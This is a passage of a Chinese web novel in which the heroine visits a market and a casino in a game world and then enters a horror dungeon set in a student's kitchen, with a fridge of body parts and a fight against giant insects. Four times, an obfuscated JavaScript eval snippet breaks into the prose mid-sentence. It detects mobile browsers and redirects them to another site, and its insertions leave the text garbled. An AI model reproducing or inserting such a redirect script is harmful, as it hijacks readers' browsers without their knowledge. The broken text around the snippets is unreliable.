商予盈也有经验了,翻出应用里[商城]的入口,上面赫然写着:【线上购物将收取10%的手续费】 ...... 两个人商量好等快下副本前再来一次,现在只逛不买,主打一个精神参与。 两人逛了逛,熟悉了商城每个区域在卖什么,决定趁着天还亮着再去主街看看。 . 要不说是主街呢? 刚一踏进去,热闹的叫卖声从四面八方涌入耳中。 应凌心忽然有种回到过去跟朋友逛闹市时的感觉。 如果说[商城]是官方购置中心,[主街]则是汇聚了无数私营小商小贩。 卖的东西也是五花八门。 应凌心凑到一家卖道具的摊位前,店门口标着一个偌大的“楚”字。 ...原来楚老板是道具商吗? 摊主是个上了岁数的女人,乐呵呵地看着她东张西望,给她递了本道具图册。 应凌心翻了翻,道具长得五花八门,名字起得玄乎其神,但用处大多没什么“新意”——像经验包一样,可以用来提高精神力。 还有一部分是防御/攻击类的,也算常见。 极个别是治愈类道具,她一看价目表:......也不知道这辈子能不能买得起一个。 最后是一张薄薄的纸,龙飞凤舞地写着:“其余道具目录在本店消费100万积分即可解锁。” ......即可? 应凌心看着摊主憨厚的笑,小心翼翼地把图册还了回去——这奸商不会还要收我看图册的钱吧? 她干笑了两声,扭头去找商予盈,发现对方正在不远处的...宠物店? 应凌心走近一看,有点认不出里面的动物。 喷着火的狗,比人大的猫,在尖叫的兔子,飞来飞去的鸟...还有一些奇形怪状说不出品种的动物。 应该是到了它们进食的饭点,几个店员忙上忙下地一边投喂着一边呵斥着叫它们老实点。 商予盈就在店里,揣着手静静地欣赏着眼前鸡飞狗跳的一幕。 ...别人的忙碌总能带来自己内心的宁静。 应凌心看到店里张贴着的员工介绍,几人都是御兽类的异能,不知用了什么办法淘来了一大堆异兽,在主街上开起了异兽店。 异能玩家再就业。 应凌心想了想自己的异能能赚点什么外快...人形发电机? 她晃了晃脑袋,拉着商予盈去了下一家店——她俩加起来都买不起一个异兽,别等下被哪只小动物碰瓷了。 这一路她们逛得很快,不是因为没有她们感兴趣的东西,而是她们实在是哪一个都买不起。 两个人走着走着,感觉差不多该回去吃晚饭了。 却不约而同地定住了脚步。 主街的尽头,人群涌动的嘈杂声中掺杂着阵阵骂街声和大笑声,从前方的平层建筑中传来。 一个穿着西装的男人朝她们两人走来,纤细的腰连带着屁股一扭一扭,弯弯的眼睛里流转着毫不掩饰的引诱。 “两位客人是第一次来这里吧?我们现在有活动,新客有大福利哦~” 嗓音被刻意压低,尾音拖沓地被延长着转了几个调。 他掏出两个圆片,分别塞到两人手里,白嫩的手指缓缓划过应凌心的掌心,拙劣地勾引着。 应凌心没说什么,把玩着手里的筹码。 圆片中心是白色,四周是绿白相间的花纹,和现实中的筹码如出一辙。 这是一家赌场。 她挑挑眉,有点好奇空间里的赌场和现实中的有什么区别,和商予盈对视了一眼,踏了进去。 里面的空间比她预想中的还要大,一眼望不到边。 带着点冷湿气的氧气时不时被天花板上的仪器喷洒而下。 密密麻麻的人挤在赌桌前,筹码不断地被砸在牌桌上,一群人不断地抄着嗓子骂着街。 看来是赌红了眼,应凌心没什么波动地想着。 她拉着商予盈走到前台兑换筹码的地方,赌场里乌泱泱的一大群人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099159|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼下前台却空荡荡,没有人排队。 也是,赌场内肯定有更方便的兑换方法。 应凌心看了眼前台张贴的海报,上面列出每个颜色的筹码对应的积分数目。 绿色是最小的金额,但也有500积分了。 她们现在白白拿着1000积分的筹码。 下面是筹码兑换积分的规则,流水和可兑换积分的比例是1:1,兑换时庄家抽成1%。 “什么是流水?” 商予盈在一旁小声问她。 “就是流经你手的钱...积分的数量,你赢的、输的、投进去的总数量。它这里的意思是说,你想要提一千积分,得先玩一千积分。” “...那我们玩一半,把剩下的一半提出来,不就白赚250了?” 商予盈感觉应凌心一下子紧张了起来,她的手腕被对方紧紧抓住,掌心潮湿地附在自己的手腕上。 “赌博可不是开玩笑的,沾上一点就完蛋了。”应凌心压低声音,把商予盈手里的筹码夺了过来。 ?怎么还抢钱? 商予盈任由对方钳着自己的手腕向外走去。 在门口,她们被一个笑盈盈的女人拦下。 “女士,你还有未兑换的筹码,要我帮你把它兑换成积分吗?” 应凌心叹了口气。 她一甩手,承载着1000积分的筹码被随手向后丢开,掉落在地上,又弹起,发出清脆的响声,就像是被砸在了牌桌上一样。 两枚小小的筹码被淹没在了人海里,应凌心懒洋洋地说:“啊,现在没有了。” 女人愣了愣,脸上挂着礼貌的微笑,和她们道别:“欢迎下次再来。” 商予盈沉默地被拽出了赌场,看着应凌心反复深呼吸,问出了刚才没有提起的疑问:“两百多积分为什么就这么扔了?” 出于信任她当时没有提出质疑,但250积分对于现在的她们来说也不是个小数目。 应凌心回过头,深深地看着她。 ... 商予盈后悔问出这个问题了。 回去的路上,酒店的饭厅里,甚至在她的房间里,应凌心一直都在跟她说赌博的恐怖性,从头讲到尾。 接受海量禁赌知识洗礼的商予盈忙不迭地点头认错,表示自己再也不会被赌场的千层套路诱惑了。 应凌心这才心满意足地回自己房间。 . 躺回自己床上的应凌心正望着天花板发呆。 今天一天下来,让她意识到积分不只是下副本才能获得,不少人在空间里找到了另外的赚积分方法。 怪不得楚老板看着那么有钱,应凌心眯了眯眼睛。 今天在赌场看到的海报一角,印着小小的一个“楚”字,和在道具铺看到的商标一模一样。 原来是开赌场的啊。 那得见证了多少人的家破人亡——虽然空间里没有家。 但跟她又有什么关系呢?她就是个需要不断下副本才能活下去的萌新玩家。 应凌心睡不着,开始翻系统给她提供的三个情节副本备选——失去了新人福利,她每天刷到的备选都没有变化,到时候只能从其中做出选择。 今天逛了一天,她也去打听了一下有没有贩卖副本情报的地方,却没有任何收获。 她看了看不再标注生存率的三个选项,缓缓地想,该选哪个呢? 19. 留子的厨房(一) 应凌心事后再想自己第一个情节副本的经历,可以概括成两个词:稀里糊涂,还有,憋屈。 没办法,一开始是没有异能,后面是还没能熟悉异能,只能凭着本能去试图挣扎着活下去。 自然只能被副本撵来撵去,憋屈又稀里糊涂地完成了副本。 上次能靠运气碰巧达成 Boss的要求,下次可就说不准了。 之后的十几天,应凌心每天大部分的时间都用来研究自己的异能。 她曾经问过许束言,怎么这里的异能不像小说里的那样,有一技能二技能三技能,然后靠每次提高精神力解锁新的技能? 对方复杂地看了她一眼:“那不成游戏了吗?” 许束言说,异能需要自己去感悟和摸索,去想象和思考它的可能性。 “你要感激它还没有被数据化。”老玩家神秘莫测地评价了一句。 应凌心没有办法,只能自己去感受异能。 感受和想象真是玄之又玄的事情。 她还能想象一道雷电就能把她劈回地球呢,结果呢,劈回去了吗? 只劈来了酒店机器人的敲门警告声。 究竟什么是可以想象出来的招式,什么不是? 应凌心头一回觉得自己的想象力着实有限。 她躺在住所的床上望着天花板放空。以前她担心自己没有异能,现在真觉醒了,她又忍不住怕自己的异能普通,或者说,可塑性低。 根据她多年网文阅读经验,最顶尖的异能通常看不到上限,比如可以复制别人的异能,可以掌握多个异能,可以制定规则...或者像许束言那样,可以言出法随。 如果她觉醒了这种听着就未来可期的成长型异能,只怕是会真心实意地认为自己是天选之子。 或者是稍微抽象点的异能,预知类、时间空间类...甚至是不死——如果有这种异能的话,也是大有希望的主角预备役。 至于雷电...虽然听着是酷,早期攻击力也强,但这种元素类的异能只怕是在觉醒的那一刻就被定型得差不多了。 毕竟人对具象的元素类额外的想象有限,或者是,印象太具体了。这怎么去开发出它的新用处? 怎么把她的雷电变成“这不是一般的雷电,而是在异能遍地走的空间里也超级无敌霹雳厉害的雷电”? 应凌心看着指尖跳动的蓝紫色雷蛇,事已至此,先努力学会控制它们吧。 毕竟很多时候提高源于精准的掌握。 她就这样埋头苦练了十几天,时不时去和商予盈交流一番心得。 歇了这么多天,身体缓过来了,她对自己异能的掌控在缓慢提升,但也逐渐触碰到了瓶颈。 额外的收获是她意识到了一切火力不足都来源于精神力不足,因为她在尝试一些有些离谱但不至于太异想天开的新技能捏造时差点成功了,却抽空了她的精神力。 她感受着后脑因为精神力透支带来的胀痛,意识到对异能用途天马行空的想象需要精神力作支撑。 怪不得系统说,“精神力是异能的养料。” 看来还是得再下副本。 这次副本的选项跟商予盈的没有什么重合,她跟商予盈打了个招呼,挑了个日子,确认了自己的副本选择。 三个选项里两个D级本,一个E级本。 她想了想之前E级本获得的精神力,微乎其微,不知道D级会不会好一点——反正进哪个副本对她来说都是冒险。 其中一个副本名字叫《逃离精神病院》。 ...听着就很吓人,她不会要被强制吃让人失智的药之后被切除前额叶吧? 应凌心看向另一个本:《留子的厨房》。 留子啊...她知道,是指留学生。 她倒是在网上刷到过有的留学生生活在“枪林弹雨”中,也经常刷到哪里冒出了枪击案的新闻,保不齐副本就把它夸大了。 但副本名字是《留子的厨房》,不是《留子的生活》,更不是《留子的外出历险》。 只是在厨房的话,,,听着还挺友善的。 虽然D级副本肯定也危机四伏,但这个听着比疯人院正常多了。 她又挑了天时间跟商予盈一起去买了必要的装备和日用品,一人花了将近一千积分。 应凌心看着自己账户剩下的两千多积分,看了看自己的装备,确认了选择。 . ------------------------------------------------------ 应凌心这次是最后一个进副本的。她刚缓过神来,系统的播报声紧跟着就响了起来: 【玩家已就位,副本将在十分钟后开始】 【本次副本时长:5小时,副本任务:寻找▇▇的遗书】 应凌心:...合着这位爱做饭的留子已经死了啊?! 果然,无限流就爱走惊悚风。 她抬头去看自己这一轮的队友,三女两男,看样子谁也不认识谁。 应凌心的目光在第一时间定格在一个穿搭简约的女人上——对方也在看着她。 修身的白衬衫看不出一丝褶皱,牛仔裤刚过脚踝,脚踩着一双一尘不染的白色运动鞋。 短发刚过耳,衬着对方深色的眼眸,平静得像一汪清水。 我骟。 应凌心忍不住在心里爆了句粗口。 杀人狂啊! 眼前的女人她见过,当初在新人大厅里,不紧不慢从斗兽场走出来的玩家——杀了至少四个人的玩家。 眼下和她进了同一个副本。 对方挑挑眉,显然也认出了她,主动跟她打了个招呼:“你好,我叫莫问天。” “应凌心。” 事已至此,装深沉吧。 “季祝火!” 旁边的玩家看到两人互通姓名,也友善地做起了自我介绍。 讲话的女孩笑盈盈的,穿着一身黑色的运动外套,红色的条纹在上面像张扬的火焰。 她扎着高马尾,发尾微微发卷,刚没过脖子。 黑色的头发中间掺杂着红色的发丝,和她的眼睛一样,黑中流溢着亮眼的红色。 “记住你?”应凌心有点没听清。 女孩愣了愣,又低低地笑了两声,“不是,祝融的祝,火焰的火。” 女孩带着笑意的眼睛明亮地看过来:“我叫季祝火。” 哦哦,应凌心不好意思地也跟着笑了笑,她赌半个积分眼前女孩的异能跟火焰有关。 “庄不观。” 站在一旁一直没有讲话的女人也报出了自己的名字。 女人看着比应凌心矮一大截,可能不到一米六的身高。但深邃的眉眼像是看尽了世界的变迁,让人错估不了她的年纪。 庄不观的头发被编织着盘在头上,插着一只古朴的木簪,套着一件藏青色的长袍,脚下是一双布鞋。 这才是真正的深沉啊,刚才还在装深沉的应凌心在内心感叹。 她眯了眯眼,想要将女人木簪的材质看仔细一些,却被一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099160|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男声打断。 “我叫安依依。” ...算了,怎么可能这么巧。 应凌心收回视线,看向在讲话的男玩家,着实愣了一下。 清瘦的男生在众人面前怯怯地说着话,圆圆的眼睛眼角泛着红,像只无害的兔子。 他的衣服——如果两块布料也算衣服的话——堪堪遮住隐私部位,欲遮还羞地露出雪白柔滑的肌肤,丰厚的胸膛,和没有一丝赘肉的腰腹。 安依依看到众人都在看他,不由自主地后退一步,白暂修长的大腿随着布料的晃动失去了遮挡,一阵淡淡的清香随着他后撤引起的风飘来。 嚯。 应凌心悄悄打量了一下安依依。 嗯,支持男性遵循爱美天性的自由。 一旁的男玩家冷哼一声,很显然,这类神圣的男性是会引起同性忮忌的。 “白二。”一个普通得反而稀少的名字。 . 几个玩家互相交换了名字,还没多打量几下,10分钟结束,副本正式开始了。 先前四周模糊的景象像是被撤下了滤镜,逐渐变得细节起来。 果然副本跟副本之间大有不同,应凌心记得,上一次副本在还没开始前就能看清环境。 她们身处在公寓楼内的一套两室一厅里。 准确的说,她们在厨房里。6个人,肩挨着肩,挤在小小的厨房里。 说是两室一厅,客厅看着却小得可怜。 窄窄的一长条,靠门的是厨房跟厕所,靠内的就是客厅,放着一张孤零零的沙发,对面是个小圆餐桌,摆着两把木椅。 墙上两扇门,其中一扇通往一个卧室,另一扇锁着。 应凌心猜测敞着门的卧室是这次副本主人公的,另一间是她舍友的。 卧室不大,只够塞得下一张床和一套桌椅,其余的东西被收进大大小小的纸箱里,塞在床下、桌下、过道上。 “这日子过得真滋润,富哥儿来读个水硕还能住单人间。”白二扯着嗓子说了两句,没有人搭腔。 应凌心在想这货的异能是不是需要拉 Boss 仇恨值? 跟人合租,还住在由书房改造的次卧里,多半是为了省钱——应凌心有个朋友当初去交换的时候就是这样的。[1] 房间大体布局搞清楚了,应凌心走出了卧室,迈了半步,走回了厨房。 虽然任务是要找遗书,但副本叫《留子的厨房》,厨房肯定是重要地点。 她上下打量了一下,大体还算干净,灶台的一侧堆满了各种调料和餐具,另一侧,一个巨大的电饭煲占据了大部分平台的面积,她仔细看了一眼,[insdand pod] ...这山寨得也太没诚意了,还是说副本也得尊重版权? 灶台不是明火的,四个有大有小的加热线圈,像是一个个加粗版蚊香,呆头呆脑地被固定在上面。 背后,水池被打理得挺干净,没有什么脏锅脏碗,洗洁精边上被随意地扔着两个海绵,原本生产出来的笑脸形状已经被搓得面目全非,眼睛和嘴角凌乱地掉着絮,看着略诡异。 你别说,还挺干净的。 应凌心觉得如果是她独自在外居住,估计要把屋子弄得乱七八糟。 “啊————!!” 一声尖叫在她耳边炸起,把应凌心吓了一跳。 只见穿着暴露的男玩家扶着冰箱门,哆哆嗦嗦地向里指去。 苍白的脸上两只眼睛惊恐地瞪大,颤抖的红唇张张合合,却说不出一句话。 20. 留子的厨房(二) 应凌心进厨房的时候没有在第一时间打开冰箱。 丰富的阅读经历让她总感觉冰箱里会藏着一具人头或被剁下来的腿。 因此在她被男玩家的尖叫声震得耳膜发疼时,应凌心对冰箱里的东西已经做好了心理准备。 饶是如此,在她看向冰箱里的时候,还是呼吸一滞,感觉自己的心跳开始加快。 冰箱里被塞得满满当当,在昏暗的冰箱灯下发着微弱的红光。 尸块。 满冰箱的尸块。 应凌心定了定神,准确地说,这些东西猎奇得已经不能完全用尸块这个词来概括了。 一个圆滚滚的人头,被放在冰箱上层,遮挡着大部分冰箱里的光照,空洞的眼眶和打开冰箱的人直直对上视线。 看起来像是个老人的头,皮肤上布满了褶皱,一层一层地互相堆叠着,花白的寸头覆盖在头皮上,白茸茸的一大片——还挺时髦的。 旁边挤着一个托盘,上面零零散散摆着四五颗眼珠,像是为了塞进老人眼眶而准备的。 不过这些眼珠个头有些大了,可能根本就塞不进眼眶里。 黑沉的瞳仁一致地朝着上面,有一颗像是被打碎了,血丝密密麻麻地遍布整个球体,堪堪维持住形状。 橙黄的液体从缝隙中溢出来,看着有些粘稠地拢在一起,小部分逃脱了张力,顺着挡板的缝隙流到了下层。 第二层横着一截被切断的手臂,也不知道是怎么保存的,截面风化出大大小小的空洞,露出白森森的骨头。 旁边是大大小小的盒子,大部分是白色的塑料碗,被堆积在里面,不知道里面装了什么。只能看到一些诡异的液体从里面洒出来,沿着轮廓流到底部,形成一个个小小的圆环。 只有一个盒子是透明的,里面扁扁的白片飘荡在浑浊的液体中。 应凌心看了好几眼才认出来,是人的舌头,这是泡了多长时间,才能把血色都泡干净? 一旁,装着一大兜子手指的塑料袋被随意丢弃着。 再下面一层是两个细长的塑料袋,有点像她小时候去早点铺买豆浆时摊主用来装豆浆的袋子,只不过眼前这两袋很大,估计每袋能装下快两升的水。 只是这里面不是水。 黄白色的液体看着有些微微变质,漂浮着若隐约现的絮状沉淀物,只有塑料袋优秀的密封性值得人庆幸,没有让疑似血浆的液体流得到处都是。 三四节被切断的肠子,末端已经开始发白,切面参差不齐。红色的细皮筋把它们捆在一起,摆在一边。 旁边还有一袋子不知道是什么部位的球,像是把人的血肉使劲揉成了一个个团,堆积在一块。 下面两个半透明的抽屉,看不清楚里面的东西。 应凌心看到这一堆东西的第一反应是:这也太直接了吧? 至少得买点正常的菜堆在外层意思意思啊。 她的第二反应是:肉不放冷冻的话会腐烂得很快吧? “我天,这什么鬼?” 同样走到冰箱前查看的季祝火低声感慨了一句,看四周没有什么危险被触发,拉开了冰箱下方的抽屉...又飞速把它合了上去。 应凌心:? 她也上前,拉开了其中一个抽屉,和里面大大小小的眼睛对上视线。 失焦的眼睛被镶在十几个拳头大小的婴儿脑袋上,圆滚滚的,挤满了整个抽屉。 ......应凌心也沉默地合上了抽屉。 她又去开另一个。 同样是十几个小脑袋,只是没那么圆润了。 破裂的脑壳内溢出红白混杂的汁水,流淌着铺满了整个抽屉的底部。 这些婴儿的头颅就这样浸泡在它们自己的脑浆中。 应凌心合上抽屉,直起身子,感觉眼前有些发晕。 她看了看其余几个玩家,看样子都看清了冰箱里的东西。 她缓缓合上了冰箱门。 莫问天示意她向后站两步。 应凌心在一旁缓了缓神,看到莫问天走上前,拉开了冰箱冷冻层的门。 大大小小的保鲜袋里面装满了肉,堆在里面。 脂肪层被冻得凝固,黏腻的白色上挂着结成的冰;肉因为缺氧变成棕黑色,不知道在里面放了多久。 “咕噜——” 肚子的响声在寂静的房间中显得格外突兀。 应凌心挑了挑眉,谁啊,这么吓人的场面还能看饿。 下一秒,她的胃跟着抽动了一下:“咕噜——” “咕噜——” “咕噜——” “咕噜——” “咕噜——” 几个玩家互相对视,她们都意识到了不对劲。 肚子的叫响在房间内回荡,游蹿在沉默的玩家中间。 饥饿感在一瞬间,袭向每一个人。 . . . ------------------------------------------------------ 正常来说在副本里玩家是不会感到饥饿的,再加上应凌心这次进副本的时间点也是在正午,刚刚吃过饭没多久。 更何况冰箱里的怪东西长得过于抑制人的食欲了。 在这种时候所有人同时犯饿,显然是副本触发了它的情节。 不解决掉饿意的话,也不知道会有什么 debuff 等着她们。 但就算是这样,也不能吃冰箱里那些乱七八糟的东西。 谁知道她吃完之后下一秒会不会被副本机制塞进冰箱里,成为下一轮玩家的食物? 饿。 饿饿饿。 应凌心从裤兜里掏出下副本前带的巧克力棒,来之前看到标题里有厨房两个字,她就怕副本在食物上做文章。 虽然带不了包,积分也不够买昂贵的随身空间,装不了真正的食材。但保险起见,她在下副本前抓了一把巧克力,跟去商城买的匕首一块塞进兜里。 其余几个玩家显然也是有经验,各自从不知道哪里掏出来了自己带的食物。 只有男玩家安依依两手空空,看着默默咀嚼的几个玩家不停地咽口水——毕竟他的衣服没有多余的布料充作口袋。 “这个给你。” 季祝火递了块压缩饼干过去。 可能也是在商城买的,应凌心想,等回头出去了要问问她哪个牌子的压缩饼干最顶饱。 “哼,”另一个男玩家嚼着牛肉,看着感激涕零的安依依翻了个白眼,“打扮得花枝招展,就为了勾引人白蹭积分。” 应凌心:...虽然是无天然纯添加的牛肉干,但在这个副本里吃肉真的合适吗? “不是的,”安依依的身板摇摇欲坠,“是我的异能...我是治愈类异能......穿得越少,异能效果越好。” 应凌心没有理会男人的争端,吃完巧克力,感觉饥饿被压下去了一点,她决定去卧室里再找找线索。 满地散落的空矿泉水瓶,堆挤在大大小小纸箱的空隙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099161|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。 应凌心大跨步迈过障碍,开始翻桌子,凌乱的草稿跟课堂笔记被随意丢弃在桌子上,铺满了整个桌面。 应凌心把每张被乱扔的草稿都扫视一眼,然后顺手把它们码齐——测度论、交换代数...嚯,这要是本科生,估计已经要毕业了。 “你看这个。”莫问天在她研究屋主人专业的期间高效地找到了线索。 见她回头,递给她了一张纸条。 【我好饿啊,得吃饭了,要不然再过一个小时我就要饿死了。】 ...... 应凌心倡导所有人从今天开始把“死”替换成“平安回到地球”。 所以说是她们要赶紧吃饭的意思吗? “我也找到了一张。” 季祝火挥了挥她从某个箱子里翻出来的纸条:【我好饿啊,今天得做饭,再点外卖就要穷死了。】 所以说她们下副本真是来做饭的?人体厨房体验版。 应凌心在心里吐槽着,听到庄不观的提醒:“看你头顶。” 在她抬头的一瞬间,一张纸条在她视野中心凭空出现,慢慢悠悠地落下来。 【我好饿啊,得做饭了,要不然再过55分钟我就要饿死了。】 ...这5分钟是被饥饿的屋主人吃掉了吗? 几人对视一眼,意识到了情况的紧急。 要在55分钟内做一顿屋主人说的“饭”,这大概就是副本给她们的第一个关卡。 . “就算是这样,也不能吃这鬼东西啊。”季祝火在一旁喃喃自语。 这看着就不是能吃的东西。这个副本总不能是为了考验她们敢不敢吃人吧? 应凌心挠挠头,思维跟着眼神开始乱飘。 留学生家里...应该也有面条或者方便面吧? 毕竟需要操心自己每天要吃什么的人时不时就会厌倦冗长的炒菜流程,想吃点快的。 方便面不需要放冰箱...那会放在哪里? 应凌心的目光落在厨房两侧的橱柜上,拉开了离她最近的那一个。 里面是各式各样的锅,铁锅、煮锅、煎锅、平底锅,大大小小地摞在一起,就是锅盖都不知所踪。 旁边摆着几个碗和盘子,看颜色应该是一套的。 另一个柜子里放着两袋大米,一个已经吃了一大半,另一袋在里面,还没有拆封。 还有一小袋面粉,应凌心探头看了一眼里面,确实是面粉,只不过黄黄绿绿的。 作为一个北方人,她头一回知道原来干面粉也能发霉。 “你看这里。” 莫问天招呼她。 应凌心转过身,看到背后橱柜里的东西,眼前一亮。 几大包方便面,花花绿绿的不同牌子,被整齐地码在柜子里。上面还有两包挂面。 总不能这些全过期了吧...而且过期没太久的话,应该也能吃。[1] 应凌心凑上前,想要拿一包出来。 “小心!” 季祝火焦急的声音在她耳边响起,下一瞬间,她被拽得失去平衡,生生撞在季祝火怀里。 ...? 她似有所感,一边回头去看,一边在指尖凝聚着自己的精神力。 一只大得离谱的虫子,落在她原来站的位置上,六只带着钢刺的腿扒在橱柜上,身长看起来有一米多。 见她看过来,两只橙子一样大小的复眼机械地扭过来,散发着诡异的荧光绿。 它的口器动了动。 21. 留子的厨房(三) 在应凌心想要拿一包方便面出来观察一番时,一只大虫子紧接着就落在了她原来站的位置。 说是巧合她不信。 坚硬的外壳包裹着全身,黑得油光锃亮。 细长的六条腿扒在橱柜上,上面密密麻麻的毛清晰可见,看着柔软地在随风摆动,却把木质的柜面刺出了好几个洞。 两把长长的镰刀状硬物从它嘴里探出,弯曲着收拢向中间,边缘是更细的尖刺,大镰刀上套着小镰刀。 诡异的液体附着在上面,看着还在不断分泌。 复眼下两根细长的触须像是钢鞭,丑陋地小幅度甩动着。 要不是季祝火拉了她一把,这虫子的体格,怕是砸都能把她砸死。 就算不砸死,这五毒俱全的样子只怕也会把她毒死。 看来是守关的怪物。 应凌心正想要看看它有什么弱点,只见大虫子一扭头,就朝她冲了过来。 你爹的不要过来啊啊啊啊啊! 应凌心反手拉着季祝火就往后退,与此同时,准备已久的精神力在一瞬间迸发,深紫色的雷电在顷刻间精准地劈向虫子的眼睛。 在上一个副本打了那么多次的怪,眼下这么大一对眼睛,很难不命中了。 应凌心讨厌虫子。 非常非常讨厌。 更不用说这种口器看着跟她头一边大的虫子。 没有遛怪的打算,没有刻意控制力道的雷霆一击已经形成肌肉记忆,被她毫不犹疑地丢向了怪物。 下一秒,虫子的脑袋,连带着躯壳,被从眼睛开始洞穿一整个。 焦化的边缘费力地拼凑着,但再也无法支撑起身形,轰的一声倒在了半步开外。 应凌心舒了口气,跟季祝火道了谢。 对方扬着笑,刚要说什么,脸色又是一变。 ...... 两只如出一辙的虫子,从天花板上坠落,落在先前一只的尸体上。 庞大的身子在细长的过道里挤不下,其中一只呈45度倾斜着,一边的脚撑着地,另一边被同伴顶了起来,不满地敲着对方的壳。 两只大虫子就这样滑稽地重叠在一起,应凌心却一点也不觉得好笑。 这怎么还带刷新的啊? 刷新就算了,怎么还多了一只?! 很快她就意识到自己想错了。 不是多了一只,而是多了好几只。 背后,又有两只同样的虫子,不知道从哪里冒了出来,目标明确地把两人隔离在外。 ...... 可怜的她,因为想要伸手去拿重要物品方便面,被怪物围堵。 可怜的季祝火同学,因为乐于助人,被她连累着一起隔离在了怪物的攻击范围内。 应凌心开始在脑子里盘算,怎么才能击败这几个怪。 虽然照之前的状况来看,这些虫子只是看着吓人,但防御并不高。只要能打中眼睛,就可以将它从弱点处直接击杀。 但问题在于...如果这四只虫子一起摆弄着细长得瘆人的24条腿爬过来,腹背受敌的她应该怎么在不受伤的情况下精准击中所有目标? 还有季祝火...应凌心的大脑飞速转动着,不能让季祝火受伤。 她死死地盯着眼前两只巨型昆虫,它们没有大的动静,只是小幅度挪动着腿,张合着口器。 僵持的同时,背后是视线的盲区,看不到身后两只怪物,应凌心浑身都在紧绷着。 她竖起耳朵听着一切动静,高压的电流不安地在指尖跳动着,等待着任何可能出现的风吹草动。 “别怕。” 季祝火镇静的声音从身后传来。 什么东西轻轻碰上了她绷直的脊背。 是季祝火。 季祝火和她背靠着背,每一个字的声线都平稳沉着,安抚着她,“我解决你身后这两只,你顾好你自己眼前就行。” 温热的触感从背后传来,应凌心后知后觉。 季祝火能进到这个副本,至少也是D级的玩家,甚至大概率比她还要经验丰富。 而眼下,季祝火是她的队友。 只是眼前这两只的话,问题不是很大。 应凌心紧张的心歇了歇。 两个人背靠背伫立着,和四只巨型虫子对视。 这些副本怪物似乎给够了她们适应的时间,在下一秒窸窸窣窣地快速爬来。 应凌心甩了一道雷给下面的那只虫子,不禁愣了一下。 她这次雷击的力道跟上一回大差不差,也很确信她命中了虫子的眼睛。 但被击中的虫子只是在哀嚎着,鲜绿色的汁液从眼睛的伤痕中流出,散发出阵阵恶臭。 雷击没有像之前一样击穿它,虫子没有死去。 受伤的虫子痛苦地扭曲着,把它背上驮着的另一只虫子甩来甩去,差点甩到应凌心的脸上。 这个虫子的防御力,至少是之前那只的两倍,甚至三倍。 应凌心没有办法,只能加大精神力的输出。 掌心凝聚着她流转的精神力,她眯着眼,一缕微弱的电流以极快的速度附着在虫眼先前的伤口上。 噼里啪啦的雷电被接连引向那处被甩动着的伤口处,暴戾地击打着。 虫子的头在这一次被洞穿,连带着上面那只虫子的腿被一齐焦化。 失去了同伴和半截腿的虫子尖锐地叫唤着,分泌着口水的口器激烈而快速地开合,想要把她撕成碎片。 应凌心略俯下身,手中的雷电被引导着流向地面,在淡灰色的防静电地毯中游走着。 眼看那沾着恶心粘液的口器就要划过她额头,应凌心却没有退后。 精神力喷涌而出,击向虫子为了进攻将身体前倾时露出的腹部后方。 在上一只虫子发疯一样的乱动时,应凌心注意到了,在虫子腹部尾端,有一片软肉。 没有被甲壳覆盖的区域,虫子全身上下最脆弱的地方。 虽然都说进攻是最好的防守,但虫子在进攻时,也露出了它最大的弱点。 比虫子的进攻来得更快的是它的死亡,蓄势已久的雷电向它腹部劈去,源源不断地从内部摧毁着它。 虫子在她眼前不到一拳处停下,近到她可以听到怪物临死前无力地嘶吼时口腔中喷出来的热气。 看来雷击效果还挺好的——都能让变温动物呼出热气了。 应凌心握了握发麻的右手,这一番操作下来,她估计自己的精神力被折腾没了两成多。 她快速地确认两只虫子死透了,跟在尸体后揣手站立的莫问天对上了视线。 顾不上其它,她转过身,想要帮季祝火把其余的两只也解决掉。 季祝火并不需要她的帮助。 两只虫子早就被她用不知道什么办法定住了。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099162|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个微弱的火星看似无害却不容置疑地向它们飘去,附着在它们的眼睛上、甲壳上。 “咦,你打完啦?” 